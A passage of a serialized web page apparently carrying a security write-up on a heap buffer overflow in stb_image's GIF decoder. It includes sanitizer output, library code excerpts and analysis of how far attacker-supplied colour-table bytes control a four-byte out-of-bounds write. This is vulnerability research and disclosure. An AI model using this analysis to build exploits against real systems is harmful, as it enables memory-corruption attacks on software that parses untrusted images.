",{"type":19,"tag":27,"props":145659,"children":145661},{"className":145660},[],[145662],{"type":24,"value":145663},"&g->out[idx]",{"type":24,"value":145665}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":19,"tag":20,"props":145667,"children":145668},{},[145669,145671,145676],{"type":24,"value":145670},"If we comment out ",{"type":19,"tag":27,"props":145672,"children":145674},{"className":145673},[],[145675],{"type":24,"value":145620},{"type":24,"value":145677}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":19,"tag":158,"props":145679,"children":145681},{"code":145680},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n [...]\n",[145682],{"type":19,"tag":27,"props":145683,"children":145684},{"__ignoreMap":7},[145685],{"type":24,"value":145680},{"type":19,"tag":20,"props":145687,"children":145688},{},[145689],{"type":24,"value":145690},"This corresponds to:",{"type":19,"tag":158,"props":145692,"children":145694},{"code":145693,"language":543,"meta":7,"className":13963,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n [...]\n\n idx = g->cur_x + g->cur_y; \n p = &g->out[idx];\n g->history[idx / 4] = 1; \n\n c = &g->color_table[g->codes[code].suffix * 4];\n if (c[3] > 128) {\n p[0] = c[2]; // OOB write\n p[1] = c[1];\n p[2] = c[0];\n p[3] = c[3];\n }\n",[145695],{"type":19,"tag":27,"props":145696,"children":145697},{"__ignoreMap":7},[145698,145737,145744,145751,145758,145801,145832,145876,145883,145951,145991,146036,146075,146114,146153],{"type":19,"tag":168,"props":145699,"children":145700},{"class":170,"line":171},[145701,145705,145709,145713,145717,145721,145725,145729,145733],{"type":19,"tag":168,"props":145702,"children":145703},{"style":382},[145704],{"type":24,"value":48527},{"type":19,"tag":168,"props":145706,"children":145707},{"style":382},[145708],{"type":24,"value":48532},{"type":19,"tag":168,"props":145710,"children":145711},{"style":175},[145712],{"type":24,"value":145309},{"type":19,"tag":168,"props":145714,"children":145715},{"style":212},[145716],{"type":24,"value":145314},{"type":19,"tag":168,"props":145718,"children":145719},{"style":399},[145720],{"type":24,"value":2002},{"type":19,"tag":168,"props":145722,"children":145723},{"style":393},[145724],{"type":24,"value":106785},{"type":19,"tag":168,"props":145726,"children":145727},{"style":212},[145728],{"type":24,"value":145327},{"type":19,"tag":168,"props":145730,"children":145731},{"style":393},[145732],{"type":24,"value":27},{"type":19,"tag":168,"props":145734,"children":145735},{"style":212},[145736],{"type":24,"value":557},{"type":19,"tag":168,"props":145738,"children":145739},{"class":170,"line":198},[145740],{"type":19,"tag":168,"props":145741,"children":145742},{"style":212},[145743],{"type":24,"value":8324},{"type":19,"tag":168,"props":145745,"children":145746},{"class":170,"line":415},[145747],{"type":19,"tag":168,"props":145748,"children":145749},{"style":212},[145750],{"type":24,"value":145396},{"type":19,"tag":168,"props":145752,"children":145753},{"class":170,"line":450},[145754],{"type":19,"tag":168,"props":145755,"children":145756},{"emptyLinePlaceholder":14},[145757],{"type":24,"value":1093},{"type":19,"tag":168,"props":145759,"children":145760},{"class":170,"line":560},[145761,145765,145769,145773,145777,145781,145785,145789,145793,145797],{"type":19,"tag":168,"props":145762,"children":145763},{"style":212},[145764],{"type":24,"value":145472},{"type":19,"tag":168,"props":145766,"children":145767},{"style":399},[145768],{"type":24,"value":486},{"type":19,"tag":168,"props":145770,"children":145771},{"style":393},[145772],{"type":24,"value":145436},{"type":19,"tag":168,"props":145774,"children":145775},{"style":212},[145776],{"type":24,"value":11203},{"type":19,"tag":168,"props":145778,"children":145779},{"style":393},[145780],{"type":24,"value":145489},{"type":19,"tag":168,"props":145782,"children":145783},{"style":399},[145784],{"type":24,"value":6343},{"type":19,"tag":168,"props":145786,"children":145787},{"style":393},[145788],{"type":24,"value":145436},{"type":19,"tag":168,"props":145790,"children":145791},{"style":212},[145792],{"type":24,"value":11203},{"type":19,"tag":168,"props":145794,"children":145795},{"style":393},[145796],{"type":24,"value":145427},{"type":19,"tag":168,"props":145798,"children":145799},{"style":212},[145800],{"type":24,"value":145510},{"type":19,"tag":168,"props":145802,"children":145803},{"class":170,"line":666},[145804,145808,145812,145816,145820,145824,145828],{"type":19,"tag":168,"props":145805,"children":145806},{"style":212},[145807],{"type":24,"value":145518},{"type":19,"tag":168,"props":145809,"children":145810},{"style":399},[145811],{"type":24,"value":486},{"type":19,"tag":168,"props":145813,"children":145814},{"style":399},[145815],{"type":24,"value":4577},{"type":19,"tag":168,"props":145817,"children":145818},{"style":393},[145819],{"type":24,"value":106785},{"type":19,"tag":168,"props":145821,"children":145822},{"style":212},[145823],{"type":24,"value":11203},{"type":19,"tag":168,"props":145825,"children":145826},{"style":393},[145827],{"type":24,"value":116208},{"type":19,"tag":168,"props":145829,"children":145830},{"style":212},[145831],{"type":24,"value":145543},{"type":19,"tag":168,"props":145833,"children":145834},{"class":170,"line":694},[145835,145839,145843,145847,145851,145855,145859,145863,145867,145871],{"type":19,"tag":168,"props":145836,"children":145837},{"style":393},[145838],{"type":24,"value":145551},{"type":19,"tag":168,"props":145840,"children":145841},{"style":212},[145842],{"type":24,"value":11203},{"type":19,"tag":168,"props":145844,"children":145845},{"style":393},[145846],{"type":24,"value":145560},{"type":19,"tag":168,"props":145848,"children":145849},{"style":212},[145850],{"type":24,"value":145565},{"type":19,"tag":168,"props":145852,"children":145853},{"style":399},[145854],{"type":24,"value":2012},{"type":19,"tag":168,"props":145856,"children":145857},{"style":192},[145858],{"type":24,"value":9190},{"type":19,"tag":168,"props":145860,"children":145861},{"style":212},[145862],{"type":24,"value":6099},{"type":19,"tag":168,"props":145864,"children":145865},{"style":399},[145866],{"type":24,"value":486},{"type":19,"tag":168,"props":145868,"children":145869},{"style":192},[145870],{"type":24,"value":1954},{"type":19,"tag":168,"props":145872,"children":145873},{"style":212},[145874],{"type":24,"value":145875},"; \n",{"type":19,"tag":168,"props":145877,"children":145878},{"class":170,"line":707},[145879],{"type":19,"tag":168,"props":145880,"children":145881},{"emptyLinePlaceholder":14},[145882],{"type":24,"value":1093},{"type":19,"tag":168,"props":145884,"children":145885},{"class":170,"line":725},[145886,145891,145895,145899,145903,145907,145912,145916,145920,145924,145929,145934,145939,145943,145947],{"type":19,"tag":168,"props":145887,"children":145888},{"style":212},[145889],{"type":24,"value":145890}," c ",{"type":19,"tag":168,"props":145892,"children":145893},{"style":399},[145894],{"type":24,"value":486},{"type":19,"tag":168,"props":145896,"children":145897},{"style":399},[145898],{"type":24,"value":4577},{"type":19,"tag":168,"props":145900,"children":145901},{"style":393},[145902],{"type":24,"value":106785},{"type":19,"tag":168,"props":145904,"children":145905},{"style":212},[145906],{"type":24,"value":11203},{"type":19,"tag":168,"props":145908,"children":145909},{"style":393},[145910],{"type":24,"value":145911},"color_table",{"type":19,"tag":168,"props":145913,"children":145914},{"style":212},[145915],{"type":24,"value":1152},{"type":19,"tag":168,"props":145917,"children":145918},{"style":393},[145919],{"type":24,"value":106785},{"type":19,"tag":168,"props":145921,"children":145922},{"style":212},[145923],{"type":24,"value":11203},{"type":19,"tag":168,"props":145925,"children":145926},{"style":393},[145927],{"type":24,"value":145928},"codes",{"type":19,"tag":168,"props":145930,"children":145931},{"style":212},[145932],{"type":24,"value":145933},"[code].",{"type":19,"tag":168,"props":145935,"children":145936},{"style":393},[145937],{"type":24,"value":145938},"suffix",{"type":19,"tag":168,"props":145940,"children":145941},{"style":399},[145942],{"type":24,"value":7259},{"type":19,"tag":168,"props":145944,"children":145945},{"style":192},[145946],{"type":24,"value":9190},{"type":19,"tag":168,"props":145948,"children":145949},{"style":212},[145950],{"type":24,"value":29046},{"type":19,"tag":168,"props":145952,"children":145953},{"class":170,"line":746},[145954,145958,145962,145966,145970,145974,145978,145982,145987],{"type":19,"tag":168,"props":145955,"children":145956},{"style":419},[145957],{"type":24,"value":50127},{"type":19,"tag":168,"props":145959,"children":145960},{"style":212},[145961],{"type":24,"value":461},{"type":19,"tag":168,"props":145963,"children":145964},{"style":393},[145965],{"type":24,"value":543},{"type":19,"tag":168,"props":145967,"children":145968},{"style":212},[145969],{"type":24,"value":1152},{"type":19,"tag":168,"props":145971,"children":145972},{"style":192},[145973],{"type":24,"value":14745},{"type":19,"tag":168,"props":145975,"children":145976},{"style":212},[145977],{"type":24,"value":6099},{"type":19,"tag":168,"props":145979,"children":145980},{"style":399},[145981],{"type":24,"value":7905},{"type":19,"tag":168,"props":145983,"children":145984},{"style":192},[145985],{"type":24,"value":145986}," 128",{"type":19,"tag":168,"props":145988,"children":145989},{"style":212},[145990],{"type":24,"value":12250},{"type":19,"tag":168,"props":145992,"children":145993},{"class":170,"line":755},[145994,145999,146003,146007,146011,146015,146019,146023,146027,146031],{"type":19,"tag":168,"props":145995,"children":145996},{"style":393},[145997],{"type":24,"value":145998}," p",{"type":19,"tag":168,"props":146000,"children":146001},{"style":212},[146002],{"type":24,"value":1152},{"type":19,"tag":168,"props":146004,"children":146005},{"style":192},[146006],{"type":24,"value":1452},{"type":19,"tag":168,"props":146008,"children":146009},{"style":212},[146010],{"type":24,"value":6099},{"type":19,"tag":168,"props":146012,"children":146013},{"style":399},[146014],{"type":24,"value":486},{"type":19,"tag":168,"props":146016,"children":146017},{"style":393},[146018],{"type":24,"value":34920},{"type":19,"tag":168,"props":146020,"children":146021},{"style":212},[146022],{"type":24,"value":1152},{"type":19,"tag":168,"props":146024,"children":146025},{"style":192},[146026],{"type":24,"value":519},{"type":19,"tag":168,"props":146028,"children":146029},{"style":212},[146030],{"type":24,"value":53395},{"type":19,"tag":168,"props":146032,"children":146033},{"style":373},[146034],{"type":24,"value":146035}," // OOB write\n",{"type":19,"tag":168,"props":146037,"children":146038},{"class":170,"line":1008},[146039,146043,146047,146051,146055,146059,146063,146067,146071],{"type":19,"tag":168,"props":146040,"children":146041},{"style":393},[146042],{"type":24,"value":145998},{"type":19,"tag":168,"props":146044,"children":146045},{"style":212},[146046],{"type":24,"value":1152},{"type":19,"tag":168,"props":146048,"children":146049},{"style":192},[146050],{"type":24,"value":1442},{"type":19,"tag":168,"props":146052,"children":146053},{"style":212},[146054],{"type":24,"value":6099},{"type":19,"tag":168,"props":146056,"children":146057},{"style":399},[146058],{"type":24,"value":486},{"type":19,"tag":168,"props":146060,"children":146061},{"style":393},[146062],{"type":24,"value":34920},{"type":19,"tag":168,"props":146064,"children":146065},{"style":212},[146066],{"type":24,"value":1152},{"type":19,"tag":168,"props":146068,"children":146069},{"style":192},[146070],{"type":24,"value":1442},{"type":19,"tag":168,"props":146072,"children":146073},{"style":212},[146074],{"type":24,"value":29046},{"type":19,"tag":168,"props":146076,"children":146077},{"class":170,"line":1025},[146078,146082,146086,146090,146094,146098,146102,146106,146110],{"type":19,"tag":168,"props":146079,"children":146080},{"style":393},[146081],{"type":24,"value":145998},{"type":19,"tag":168,"props":146083,"children":146084},{"style":212},[146085],{"type":24,"value":1152},{"type":19,"tag":168,"props":146087,"children":146088},{"style":192},[146089],{"type":24,"value":519},{"type":19,"tag":168,"props":146091,"children":146092},{"style":212},[146093],{"type":24,"value":6099},{"type":19,"tag":168,"props":146095,"children":146096},{"style":399},[146097],{"type":24,"value":486},{"type":19,"tag":168,"props":146099,"children":146100},{"style":393},[146101],{"type":24,"value":34920},{"type":19,"tag":168,"props":146103,"children":146104},{"style":212},[146105],{"type":24,"value":1152},{"type":19,"tag":168,"props":146107,"children":146108},{"style":192},[146109],{"type":24,"value":1452},{"type":19,"tag":168,"props":146111,"children":146112},{"style":212},[146113],{"type":24,"value":29046},{"type":19,"tag":168,"props":146115,"children":146116},{"class":170,"line":1042},[146117,146121,146125,146129,146133,146137,146141,146145,146149],{"type":19,"tag":168,"props":146118,"children":146119},{"style":393},[146120],{"type":24,"value":145998},{"type":19,"tag":168,"props":146122,"children":146123},{"style":212},[146124],{"type":24,"value":1152},{"type":19,"tag":168,"props":146126,"children":146127},{"style":192},[146128],{"type":24,"value":14745},{"type":19,"tag":168,"props":146130,"children":146131},{"style":212},[146132],{"type":24,"value":6099},{"type":19,"tag":168,"props":146134,"children":146135},{"style":399},[146136],{"type":24,"value":486},{"type":19,"tag":168,"props":146138,"children":146139},{"style":393},[146140],{"type":24,"value":34920},{"type":19,"tag":168,"props":146142,"children":146143},{"style":212},[146144],{"type":24,"value":1152},{"type":19,"tag":168,"props":146146,"children":146147},{"style":192},[146148],{"type":24,"value":14745},{"type":19,"tag":168,"props":146150,"children":146151},{"style":212},[146152],{"type":24,"value":29046},{"type":19,"tag":168,"props":146154,"children":146155},{"class":170,"line":1055},[146156],{"type":19,"tag":168,"props":146157,"children":146158},{"style":212},[146159],{"type":24,"value":32222},{"type":19,"tag":20,"props":146161,"children":146162},{},[146163,146165,146170,146172,146177],{"type":24,"value":146164},"This confirms ",{"type":19,"tag":27,"props":146166,"children":146168},{"className":146167},[],[146169],{"type":24,"value":74006},{"type":24,"value":146171}," is OOB for ",{"type":19,"tag":27,"props":146173,"children":146175},{"className":146174},[],[146176],{"type":24,"value":145655},{"type":24,"value":146178}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":19,"tag":20,"props":146180,"children":146181},{},[146182,146184,146190,146192,146199],{"type":24,"value":146183},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":19,"tag":27,"props":146185,"children":146187},{"className":146186},[],[146188],{"type":24,"value":146189},"g->color_table",{"type":24,"value":146191}," is populated by ",{"type":19,"tag":269,"props":146193,"children":146196},{"href":146194,"rel":146195},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[273],[146197],{"type":24,"value":146198},"stbi__gif_parse_colortable",{"type":24,"value":1922},{"type":19,"tag":158,"props":146201,"children":146203},{"code":146202,"language":543,"meta":7,"className":13963,"style":7},"static void stbi__gif_parse_colortable(\n stbi__context *s,\n stbi_uc pal[256][4], // g->color_table\n int num_entries,\n int transp\n) {\n int i;\n for (i=0; i \u003C num_entries; ++i) {\n pal[i][2] = stbi__get8(s);\n pal[i][1] = stbi__get8(s);\n pal[i][0] = stbi__get8(s);\n pal[i][3] = transp == i ? 0 : 255;\n }\n}\n",[146204],{"type":19,"tag":27,"props":146205,"children":146206},{"__ignoreMap":7},[146207,146227,146247,146286,146302,146314,146321,146332,146375,146409,146440,146471,146528,146535],{"type":19,"tag":168,"props":146208,"children":146209},{"class":170,"line":171},[146210,146214,146218,146223],{"type":19,"tag":168,"props":146211,"children":146212},{"style":382},[146213],{"type":24,"value":48527},{"type":19,"tag":168,"props":146215,"children":146216},{"style":382},[146217],{"type":24,"value":48532},{"type":19,"tag":168,"props":146219,"children":146220},{"style":175},[146221],{"type":24,"value":146222}," stbi__gif_parse_colortable",{"type":19,"tag":168,"props":146224,"children":146225},{"style":212},[146226],{"type":24,"value":870},{"type":19,"tag":168,"props":146228,"children":146229},{"class":170,"line":198},[146230,146235,146239,146243],{"type":19,"tag":168,"props":146231,"children":146232},{"style":212},[146233],{"type":24,"value":146234}," stbi__context ",{"type":19,"tag":168,"props":146236,"children":146237},{"style":399},[146238],{"type":24,"value":2002},{"type":19,"tag":168,"props":146240,"children":146241},{"style":393},[146242],{"type":24,"value":8095},{"type":19,"tag":168,"props":146244,"children":146245},{"style":212},[146246],{"type":24,"value":915},{"type":19,"tag":168,"props":146248,"children":146249},{"class":170,"line":415},[146250,146255,146260,146264,146268,146272,146276,146281],{"type":19,"tag":168,"props":146251,"children":146252},{"style":212},[146253],{"type":24,"value":146254}," stbi_uc ",{"type":19,"tag":168,"props":146256,"children":146257},{"style":393},[146258],{"type":24,"value":146259},"pal",{"type":19,"tag":168,"props":146261,"children":146262},{"style":212},[146263],{"type":24,"value":1152},{"type":19,"tag":168,"props":146265,"children":146266},{"style":192},[146267],{"type":24,"value":90783},{"type":19,"tag":168,"props":146269,"children":146270},{"style":212},[146271],{"type":24,"value":46440},{"type":19,"tag":168,"props":146273,"children":146274},{"style":192},[146275],{"type":24,"value":14978},{"type":19,"tag":168,"props":146277,"children":146278},{"style":212},[146279],{"type":24,"value":146280},"],",{"type":19,"tag":168,"props":146282,"children":146283},{"style":373},[146284],{"type":24,"value":146285}," // g->color_table\n",{"type":19,"tag":168,"props":146287,"children":146288},{"class":170,"line":450},[146289,146293,146298],{"type":19,"tag":168,"props":146290,"children":146291},{"style":382},[146292],{"type":24,"value":16530},{"type":19,"tag":168,"props":146294,"children":146295},{"style":393},[146296],{"type":24,"value":146297}," num_entries",{"type":19,"tag":168,"props":146299,"children":146300},{"style":212},[146301],{"type":24,"value":915},{"type":19,"tag":168,"props":146303,"children":146304},{"class":170,"line":560},[146305,146309],{"type":19,"tag":168,"props":146306,"children":146307},{"style":382},[146308],{"type":24,"value":16530},{"type":19,"tag":168,"props":146310,"children":146311},{"style":212},[146312],{"type":24,"value":146313}," transp\n",{"type":19,"tag":168,"props":146315,"children":146316},{"class":170,"line":666},[146317],{"type":19,"tag":168,"props":146318,"children":146319},{"style":212},[146320],{"type":24,"value":12250},{"type":19,"tag":168,"props":146322,"children":146323},{"class":170,"line":694},[146324,146328],{"type":19,"tag":168,"props":146325,"children":146326},{"style":382},[146327],{"type":24,"value":145376},{"type":19,"tag":168,"props":146329,"children":146330},{"style":212},[146331],{"type":24,"value":55448},{"type":19,"tag":168,"props":146333,"children":146334},{"class":170,"line":707},[146335,146340,146345,146349,146353,146357,146361,146366,146370],{"type":19,"tag":168,"props":146336,"children":146337},{"style":419},[146338],{"type":24,"value":146339}," for",{"type":19,"tag":168,"props":146341,"children":146342},{"style":212},[146343],{"type":24,"value":146344}," (i",{"type":19,"tag":168,"props":146346,"children":146347},{"style":399},[146348],{"type":24,"value":486},{"type":19,"tag":168,"props":146350,"children":146351},{"style":192},[146352],{"type":24,"value":1452},{"type":19,"tag":168,"props":146354,"children":146355},{"style":212},[146356],{"type":24,"value":48716},{"type":19,"tag":168,"props":146358,"children":146359},{"style":399},[146360],{"type":24,"value":3240},{"type":19,"tag":168,"props":146362,"children":146363},{"style":212},[146364],{"type":24,"value":146365}," num_entries; ",{"type":19,"tag":168,"props":146367,"children":146368},{"style":399},[146369],{"type":24,"value":48752},{"type":19,"tag":168,"props":146371,"children":146372},{"style":212},[146373],{"type":24,"value":146374},"i) {\n",{"type":19,"tag":168,"props":146376,"children":146377},{"class":170,"line":725},[146378,146383,146387,146391,146395,146399,146404],{"type":19,"tag":168,"props":146379,"children":146380},{"style":393},[146381],{"type":24,"value":146382}," pal",{"type":19,"tag":168,"props":146384,"children":146385},{"style":212},[146386],{"type":24,"value":58139},{"type":19,"tag":168,"props":146388,"children":146389},{"style":192},[146390],{"type":24,"value":519},{"type":19,"tag":168,"props":146392,"children":146393},{"style":212},[146394],{"type":24,"value":6099},{"type":19,"tag":168,"props":146396,"children":146397},{"style":399},[146398],{"type":24,"value":486},{"type":19,"tag":168,"props":146400,"children":146401},{"style":175},[146402],{"type":24,"value":146403}," stbi__get8",{"type":19,"tag":168,"props":146405,"children":146406},{"style":212},[146407],{"type":24,"value":146408},"(s);\n",{"type":19,"tag":168,"props":146410,"children":146411},{"class":170,"line":746},[146412,146416,146420,146424,146428,146432,146436],{"type":19,"tag":168,"props":146413,"children":146414},{"style":393},[146415],{"type":24,"value":146382},{"type":19,"tag":168,"props":146417,"children":146418},{"style":212},[146419],{"type":24,"value":58139},{"type":19,"tag":168,"props":146421,"children":146422},{"style":192},[146423],{"type":24,"value":1442},{"type":19,"tag":168,"props":146425,"children":146426},{"style":212},[146427],{"type":24,"value":6099},{"type":19,"tag":168,"props":146429,"children":146430},{"style":399},[146431],{"type":24,"value":486},{"type":19,"tag":168,"props":146433,"children":146434},{"style":175},[146435],{"type":24,"value":146403},{"type":19,"tag":168,"props":146437,"children":146438},{"style":212},[146439],{"type":24,"value":146408},{"type":19,"tag":168,"props":146441,"children":146442},{"class":170,"line":755},[146443,146447,146451,146455,146459,146463,146467],{"type":19,"tag":168,"props":146444,"children":146445},{"style":393},[146446],{"type":24,"value":146382},{"type":19,"tag":168,"props":146448,"children":146449},{"style":212},[146450],{"type":24,"value":58139},{"type":19,"tag":168,"props":146452,"children":146453},{"style":192},[146454],{"type":24,"value":1452},{"type":19,"tag":168,"props":146456,"children":146457},{"style":212},[146458],{"type":24,"value":6099},{"type":19,"tag":168,"props":146460,"children":146461},{"style":399},[146462],{"type":24,"value":486},{"type":19,"tag":168,"props":146464,"children":146465},{"style":175},[146466],{"type":24,"value":146403},{"type":19,"tag":168,"props":146468,"children":146469},{"style":212},[146470],{"type":24,"value":146408},{"type":19,"tag":168,"props":146472,"children":146473},{"class":170,"line":1008},[146474,146478,146482,146486,146490,146494,146499,146503,146507,146511,146515,146519,146524],{"type":19,"tag":168,"props":146475,"children":146476},{"style":393},[146477],{"type":24,"value":146382},{"type":19,"tag":168,"props":146479,"children":146480},{"style":212},[146481],{"type":24,"value":58139},{"type":19,"tag":168,"props":146483,"children":146484},{"style":192},[146485],{"type":24,"value":14745},{"type":19,"tag":168,"props":146487,"children":146488},{"style":212},[146489],{"type":24,"value":6099},{"type":19,"tag":168,"props":146491,"children":146492},{"style":399},[146493],{"type":24,"value":486},{"type":19,"tag":168,"props":146495,"children":146496},{"style":212},[146497],{"type":24,"value":146498}," transp ",{"type":19,"tag":168,"props":146500,"children":146501},{"style":399},[146502],{"type":24,"value":6013},{"type":19,"tag":168,"props":146504,"children":146505},{"style":212},[146506],{"type":24,"value":52027},{"type":19,"tag":168,"props":146508,"children":146509},{"style":399},[146510],{"type":24,"value":552},{"type":19,"tag":168,"props":146512,"children":146513},{"style":192},[146514],{"type":24,"value":437},{"type":19,"tag":168,"props":146516,"children":146517},{"style":399},[146518],{"type":24,"value":32590},{"type":19,"tag":168,"props":146520,"children":146521},{"style":192},[146522],{"type":24,"value":146523}," 255",{"type":19,"tag":168,"props":146525,"children":146526},{"style":212},[146527],{"type":24,"value":412},{"type":19,"tag":168,"props":146529,"children":146530},{"class":170,"line":1025},[146531],{"type":19,"tag":168,"props":146532,"children":146533},{"style":212},[146534],{"type":24,"value":32222},{"type":19,"tag":168,"props":146536,"children":146537},{"class":170,"line":1042},[146538],{"type":19,"tag":168,"props":146539,"children":146540},{"style":212},[146541],{"type":24,"value":1326},{"type":19,"tag":20,"props":146543,"children":146544},{},[146545,146547,146552,146553,146558,146560,146565],{"type":24,"value":146546},"The first three bytes are read from the input image, while the last byte can be either ",{"type":19,"tag":27,"props":146548,"children":146550},{"className":146549},[],[146551],{"type":24,"value":1452},{"type":24,"value":10579},{"type":19,"tag":27,"props":146554,"children":146556},{"className":146555},[],[146557],{"type":24,"value":110830},{"type":24,"value":146559},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":19,"tag":27,"props":146561,"children":146563},{"className":146562},[],[146564],{"type":24,"value":27318},{"type":24,"value":1922},{"type":19,"tag":158,"props":146567,"children":146569},{"code":146568,"language":543,"meta":7,"className":13963,"style":7}," c = &g->color_table[g->codes[code].suffix * 4];\n if (c[3] > 128) {\n p[0] = c[2];\n p[1] = c[1];\n p[2] = c[0];\n p[3] = c[3];\n }\n",[146570],{"type":19,"tag":27,"props":146571,"children":146572},{"__ignoreMap":7},[146573,146636,146675,146714,146753,146792,146831],{"type":19,"tag":168,"props":146574,"children":146575},{"class":170,"line":171},[146576,146580,146584,146588,146592,146596,146600,146604,146608,146612,146616,146620,146624,146628,146632],{"type":19,"tag":168,"props":146577,"children":146578},{"style":212},[146579],{"type":24,"value":145890},{"type":19,"tag":168,"props":146581,"children":146582},{"style":399},[146583],{"type":24,"value":486},{"type":19,"tag":168,"props":146585,"children":146586},{"style":399},[146587],{"type":24,"value":4577},{"type":19,"tag":168,"props":146589,"children":146590},{"style":212},[146591],{"type":24,"value":106785},{"type":19,"tag":168,"props":146593,"children":146594},{"style":399},[146595],{"type":24,"value":11203},{"type":19,"tag":168,"props":146597,"children":146598},{"style":393},[146599],{"type":24,"value":145911},{"type":19,"tag":168,"props":146601,"children":146602},{"style":212},[146603],{"type":24,"value":1152},{"type":19,"tag":168,"props":146605,"children":146606},{"style":393},[146607],{"type":24,"value":106785},{"type":19,"tag":168,"props":146609,"children":146610},{"style":212},[146611],{"type":24,"value":11203},{"type":19,"tag":168,"props":146613,"children":146614},{"style":393},[146615],{"type":24,"value":145928},{"type":19,"tag":168,"props":146617,"children":146618},{"style":212},[146619],{"type":24,"value":145933},{"type":19,"tag":168,"props":146621,"children":146622},{"style":393},[146623],{"type":24,"value":145938},{"type":19,"tag":168,"props":146625,"children":146626},{"style":399},[146627],{"type":24,"value":7259},{"type":19,"tag":168,"props":146629,"children":146630},{"style":192},[146631],{"type":24,"value":9190},{"type":19,"tag":168,"props":146633,"children":146634},{"style":212},[146635],{"type":24,"value":29046},{"type":19,"tag":168,"props":146637,"children":146638},{"class":170,"line":198},[146639,146643,146647,146651,146655,146659,146663,146667,146671],{"type":19,"tag":168,"props":146640,"children":146641},{"style":419},[146642],{"type":24,"value":50127},{"type":19,"tag":168,"props":146644,"children":146645},{"style":212},[146646],{"type":24,"value":461},{"type":19,"tag":168,"props":146648,"children":146649},{"style":393},[146650],{"type":24,"value":543},{"type":19,"tag":168,"props":146652,"children":146653},{"style":212},[146654],{"type":24,"value":1152},{"type":19,"tag":168,"props":146656,"children":146657},{"style":192},[146658],{"type":24,"value":14745},{"type":19,"tag":168,"props":146660,"children":146661},{"style":212},[146662],{"type":24,"value":6099},{"type":19,"tag":168,"props":146664,"children":146665},{"style":399},[146666],{"type":24,"value":7905},{"type":19,"tag":168,"props":146668,"children":146669},{"style":192},[146670],{"type":24,"value":145986},{"type":19,"tag":168,"props":146672,"children":146673},{"style":212},[146674],{"type":24,"value":12250},{"type":19,"tag":168,"props":146676,"children":146677},{"class":170,"line":415},[146678,146682,146686,146690,146694,146698,146702,146706,146710],{"type":19,"tag":168,"props":146679,"children":146680},{"style":393},[146681],{"type":24,"value":145998},{"type":19,"tag":168,"props":146683,"children":146684},{"style":212},[146685],{"type":24,"value":1152},{"type":19,"tag":168,"props":146687,"children":146688},{"style":192},[146689],{"type":24,"value":1452},{"type":19,"tag":168,"props":146691,"children":146692},{"style":212},[146693],{"type":24,"value":6099},{"type":19,"tag":168,"props":146695,"children":146696},{"style":399},[146697],{"type":24,"value":486},{"type":19,"tag":168,"props":146699,"children":146700},{"style":393},[146701],{"type":24,"value":34920},{"type":19,"tag":168,"props":146703,"children":146704},{"style":212},[146705],{"type":24,"value":1152},{"type":19,"tag":168,"props":146707,"children":146708},{"style":192},[146709],{"type":24,"value":519},{"type":19,"tag":168,"props":146711,"children":146712},{"style":212},[146713],{"type":24,"value":29046},{"type":19,"tag":168,"props":146715,"children":146716},{"class":170,"line":450},[146717,146721,146725,146729,146733,146737,146741,146745,146749],{"type":19,"tag":168,"props":146718,"children":146719},{"style":393},[146720],{"type":24,"value":145998},{"type":19,"tag":168,"props":146722,"children":146723},{"style":212},[146724],{"type":24,"value":1152},{"type":19,"tag":168,"props":146726,"children":146727},{"style":192},[146728],{"type":24,"value":1442},{"type":19,"tag":168,"props":146730,"children":146731},{"style":212},[146732],{"type":24,"value":6099},{"type":19,"tag":168,"props":146734,"children":146735},{"style":399},[146736],{"type":24,"value":486},{"type":19,"tag":168,"props":146738,"children":146739},{"style":393},[146740],{"type":24,"value":34920},{"type":19,"tag":168,"props":146742,"children":146743},{"style":212},[146744],{"type":24,"value":1152},{"type":19,"tag":168,"props":146746,"children":146747},{"style":192},[146748],{"type":24,"value":1442},{"type":19,"tag":168,"props":146750,"children":146751},{"style":212},[146752],{"type":24,"value":29046},{"type":19,"tag":168,"props":146754,"children":146755},{"class":170,"line":560},[146756,146760,146764,146768,146772,146776,146780,146784,146788],{"type":19,"tag":168,"props":146757,"children":146758},{"style":393},[146759],{"type":24,"value":145998},{"type":19,"tag":168,"props":146761,"children":146762},{"style":212},[146763],{"type":24,"value":1152},{"type":19,"tag":168,"props":146765,"children":146766},{"style":192},[146767],{"type":24,"value":519},{"type":19,"tag":168,"props":146769,"children":146770},{"style":212},[146771],{"type":24,"value":6099},{"type":19,"tag":168,"props":146773,"children":146774},{"style":399},[146775],{"type":24,"value":486},{"type":19,"tag":168,"props":146777,"children":146778},{"style":393},[146779],{"type":24,"value":34920},{"type":19,"tag":168,"props":146781,"children":146782},{"style":212},[146783],{"type":24,"value":1152},{"type":19,"tag":168,"props":146785,"children":146786},{"style":192},[146787],{"type":24,"value":1452},{"type":19,"tag":168,"props":146789,"children":146790},{"style":212},[146791],{"type":24,"value":29046},{"type":19,"tag":168,"props":146793,"children":146794},{"class":170,"line":666},[146795,146799,146803,146807,146811,146815,146819,146823,146827],{"type":19,"tag":168,"props":146796,"children":146797},{"style":393},[146798],{"type":24,"value":145998},{"type":19,"tag":168,"props":146800,"children":146801},{"style":212},[146802],{"type":24,"value":1152},{"type":19,"tag":168,"props":146804,"children":146805},{"style":192},[146806],{"type":24,"value":14745},{"type":19,"tag":168,"props":146808,"children":146809},{"style":212},[146810],{"type":24,"value":6099},{"type":19,"tag":168,"props":146812,"children":146813},{"style":399},[146814],{"type":24,"value":486},{"type":19,"tag":168,"props":146816,"children":146817},{"style":393},[146818],{"type":24,"value":34920},{"type":19,"tag":168,"props":146820,"children":146821},{"style":212},[146822],{"type":24,"value":1152},{"type":19,"tag":168,"props":146824,"children":146825},{"style":192},[146826],{"type":24,"value":14745},{"type":19,"tag":168,"props":146828,"children":146829},{"style":212},[146830],{"type":24,"value":29046},{"type":19,"tag":168,"props":146832,"children":146833},{"class":170,"line":694},[146834],{"type":19,"tag":168,"props":146835,"children":146836},{"style":212},[146837],{